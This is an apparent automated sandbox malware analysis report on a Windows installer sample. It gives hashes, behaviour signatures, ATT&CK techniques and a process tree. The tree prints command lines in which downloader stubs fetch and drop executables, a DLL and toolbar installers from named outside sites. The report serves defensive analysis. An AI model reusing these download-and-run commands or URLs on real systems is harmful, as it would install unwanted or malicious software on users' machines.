680313f3bc5242b7358ef5ae1b2f89f5b91160b53e45ac48e9fc05e307582987

Analysis

max time kernel
152s
max time network
158s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
28/05/2024, 08:52

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General

Target

7c616a7ff732f6ffa53fac5064382a3c_JaffaCakes118.exe
Size

337KB
MD5

7c616a7ff732f6ffa53fac5064382a3c
SHA1

e2575b0d68df3796e10135ef050dff9af394308e
SHA256

680313f3bc5242b7358ef5ae1b2f89f5b91160b53e45ac48e9fc05e307582987
SHA512

5a149f3faa423c8f8eee58dadfda60308b4cc2ded2791e9743dec0ae4668759d67cb12b6dc971bb45140196ecf44a88ec177a711303f4cb3ed59c89bc77584c2
SSDEEP

6144:Yc63Az3Bv7wFZbv7PpN0YGt67LaBI76fOYXA2UNQ6JyaeuZ01mHDvSa6zv:2GRv78ZbTPf0Jt6HMI76f9XARhJyRuiB

Score

7^/10

discovery

Malware Config

Signatures

Executes dropped EXE 7 IoCs

pid	Process
4488	downloaderSTUB.exe
696	downloaderSTUB.exe
3876	downloaderSTUB.exe
4568	downloaderDDLR.exe
5008	downloaderOFFER1.exe
4956	downloaderOFFER1.exe
3976	preinstaller.exe

Loads dropped DLL 30 IoCs

pid	Process
3876	downloaderSTUB.exe
696	downloaderSTUB.exe
4488	downloaderSTUB.exe
5008	downloaderOFFER1.exe
4568	downloaderDDLR.exe
4956	downloaderOFFER1.exe
4488	downloaderSTUB.exe
3876	downloaderSTUB.exe
696	downloaderSTUB.exe
5008	downloaderOFFER1.exe
4568	downloaderDDLR.exe
4956	downloaderOFFER1.exe
4488	downloaderSTUB.exe
696	downloaderSTUB.exe
3876	downloaderSTUB.exe
5008	downloaderOFFER1.exe
4568	downloaderDDLR.exe
4956	downloaderOFFER1.exe
696	downloaderSTUB.exe
4488	downloaderSTUB.exe
3876	downloaderSTUB.exe
5008	downloaderOFFER1.exe
4568	downloaderDDLR.exe
4956	downloaderOFFER1.exe
696	downloaderSTUB.exe
4488	downloaderSTUB.exe
3876	downloaderSTUB.exe
5008	downloaderOFFER1.exe
4568	downloaderDDLR.exe
4956	downloaderOFFER1.exe

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

NSIS installer 2 IoCs

installer

resource	yara_rule
behavioral2/files/0x0007000000023256-4.dat	nsis_installer_1
behavioral2/files/0x0007000000023256-4.dat	nsis_installer_2

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 3588 wrote to memory of 4488	3588	7c616a7ff732f6ffa53fac5064382a3c_JaffaCakes118.exe	92
PID 3588 wrote to memory of 4488	3588	7c616a7ff732f6ffa53fac5064382a3c_JaffaCakes118.exe	92
PID 3588 wrote to memory of 4488	3588	7c616a7ff732f6ffa53fac5064382a3c_JaffaCakes118.exe	92
PID 3588 wrote to memory of 696	3588	7c616a7ff732f6ffa53fac5064382a3c_JaffaCakes118.exe	93
PID 3588 wrote to memory of 696	3588	7c616a7ff732f6ffa53fac5064382a3c_JaffaCakes118.exe	93
PID 3588 wrote to memory of 696	3588	7c616a7ff732f6ffa53fac5064382a3c_JaffaCakes118.exe	93
PID 3588 wrote to memory of 3876	3588	7c616a7ff732f6ffa53fac5064382a3c_JaffaCakes118.exe	94
PID 3588 wrote to memory of 3876	3588	7c616a7ff732f6ffa53fac5064382a3c_JaffaCakes118.exe	94
PID 3588 wrote to memory of 3876	3588	7c616a7ff732f6ffa53fac5064382a3c_JaffaCakes118.exe	94
PID 3588 wrote to memory of 4568	3588	7c616a7ff732f6ffa53fac5064382a3c_JaffaCakes118.exe	95
PID 3588 wrote to memory of 4568	3588	7c616a7ff732f6ffa53fac5064382a3c_JaffaCakes118.exe	95
PID 3588 wrote to memory of 4568	3588	7c616a7ff732f6ffa53fac5064382a3c_JaffaCakes118.exe	95
PID 3588 wrote to memory of 5008	3588	7c616a7ff732f6ffa53fac5064382a3c_JaffaCakes118.exe	96
PID 3588 wrote to memory of 5008	3588	7c616a7ff732f6ffa53fac5064382a3c_JaffaCakes118.exe	96
PID 3588 wrote to memory of 5008	3588	7c616a7ff732f6ffa53fac5064382a3c_JaffaCakes118.exe	96
PID 3588 wrote to memory of 4956	3588	7c616a7ff732f6ffa53fac5064382a3c_JaffaCakes118.exe	97
PID 3588 wrote to memory of 4956	3588	7c616a7ff732f6ffa53fac5064382a3c_JaffaCakes118.exe	97
PID 3588 wrote to memory of 4956	3588	7c616a7ff732f6ffa53fac5064382a3c_JaffaCakes118.exe	97
PID 3588 wrote to memory of 3976	3588	7c616a7ff732f6ffa53fac5064382a3c_JaffaCakes118.exe	98
PID 3588 wrote to memory of 3976	3588	7c616a7ff732f6ffa53fac5064382a3c_JaffaCakes118.exe	98
PID 3588 wrote to memory of 3976	3588	7c616a7ff732f6ffa53fac5064382a3c_JaffaCakes118.exe	98

C:\Users\Admin\AppData\Local\Temp\7c616a7ff732f6ffa53fac5064382a3c_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\7c616a7ff732f6ffa53fac5064382a3c_JaffaCakes118.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3588
- C:\Users\Admin\AppData\Local\Temp\85927799db6dc2f064b89742c52287f9\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\85927799db6dc2f064b89742c52287f9\downloaderSTUB.exe /U "http://www.openbitcoin.org/static/dist/obc.exe" /D "C:\Users\Admin\AppData\Local\Temp\85927799db6dc2f064b89742c52287f9\stub.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:4488
- C:\Users\Admin\AppData\Local\Temp\85927799db6dc2f064b89742c52287f9\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\85927799db6dc2f064b89742c52287f9\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/OpenCL.dll" /D "C:\Users\Admin\AppData\Local\Temp\85927799db6dc2f064b89742c52287f9\OpenCL.dll"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:696
- C:\Users\Admin\AppData\Local\Temp\85927799db6dc2f064b89742c52287f9\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\85927799db6dc2f064b89742c52287f9\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/updater.exe" /D "C:\Users\Admin\AppData\Local\Temp\85927799db6dc2f064b89742c52287f9\updater.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:3876
- C:\Users\Admin\AppData\Local\Temp\85927799db6dc2f064b89742c52287f9\downloaderDDLR.exe
  C:\Users\Admin\AppData\Local\Temp\85927799db6dc2f064b89742c52287f9\downloaderDDLR.exe /U "http://www.directdownloader.com/DirectDownloaderInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\85927799db6dc2f064b89742c52287f9\DirectDownloaderInstaller.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:4568
- C:\Users\Admin\AppData\Local\Temp\85927799db6dc2f064b89742c52287f9\downloaderOFFER1.exe
  C:\Users\Admin\AppData\Local\Temp\85927799db6dc2f064b89742c52287f9\downloaderOFFER1.exe /U "http://www.directdownloader.com/toolbars/GamesLeap79048.exe" /D "C:\Users\Admin\AppData\Local\Temp\85927799db6dc2f064b89742c52287f9\volcano.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:5008
- C:\Users\Admin\AppData\Local\Temp\85927799db6dc2f064b89742c52287f9\downloaderOFFER1.exe
  C:\Users\Admin\AppData\Local\Temp\85927799db6dc2f064b89742c52287f9\downloaderOFFER1.exe /U "http://www.directdownloader.com/toolbars/PricePeepInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\85927799db6dc2f064b89742c52287f9\pricepeep.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:4956
- C:\Users\Admin\AppData\Local\Temp\85927799db6dc2f064b89742c52287f9\preinstaller.exe
  C:\Users\Admin\AppData\Local\Temp\85927799db6dc2f064b89742c52287f9\preinstaller.exe 0 "(JapanesePorn)UMD344AVI" "Download"
  2⤵
  - Executes dropped EXE
  PID:3976

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4092 --field-trial-handle=2276,i,11674642242468042059,14711253743544118298,262144 --variations-seed-version /prefetch:8
1⤵
PID:3808

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Network Service Discovery

T1046

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\85927799db6dc2f064b89742c52287f9\downloaderOFFER2.exe

Filesize
58KB

MD5
c7f6ed56312c8fbb58ae6ed445c38df4

SHA1
e2dba94ef052db774478b9f7198c1a2298b334e5

SHA256
fdb8452173a4f116f6e362ab5466c3c16bf6697502fe3d01db0d82f0e339de24

SHA512
ac43e5bb31c3c0876a7768553916cce76d92088e62594e8463b128a0d6e587c48152a5efcf0b2a5e8fb43028d46913df114ae3c3750b7e6c4212c7044518ba43

Download Submit
C:\Users\Admin\AppData\Local\Temp\85927799db6dc2f064b89742c52287f9\preinstaller.exe

Filesize
241KB

MD5
9d8fe8bcc4c493b2fd1da8d2b07ba57c

SHA1
aa9366eb9210c8a5398b5e55921c92ce8970df5b

SHA256
f33b7419880c7c90c999970e4c21febaaf6d39fdb02f9d9deafa8f8d97f3b3eb

SHA512
3fd58a0d7c870e8b07eb17f8f088d505ad98c7101733972f486a2946d18babfe0e4866ae28a16fe2481e006c26cbdf2d3eb1a2dd71bb44c084bbf14fea475216

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg15E6.tmp\NSISdl.dll

Filesize
14KB

MD5
a5f8399a743ab7f9c88c645c35b1ebb5

SHA1
168f3c158913b0367bf79fa413357fbe97018191

SHA256
dacc88a12d3ba438fdae3535dc7a5a1d389bce13adc993706424874a782e51c9

SHA512
824e567f5211bf09c7912537c7836d761b0934207612808e9a191f980375c6a97383dbc6b4a7121c6b5f508cbfd7542a781d6b6b196ca24841f73892eec5e977

Download Submit
memory/3588-46-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download
memory/3976-52-0x0000000000400000-0x0000000000446000-memory.dmp

Filesize
280KB

Download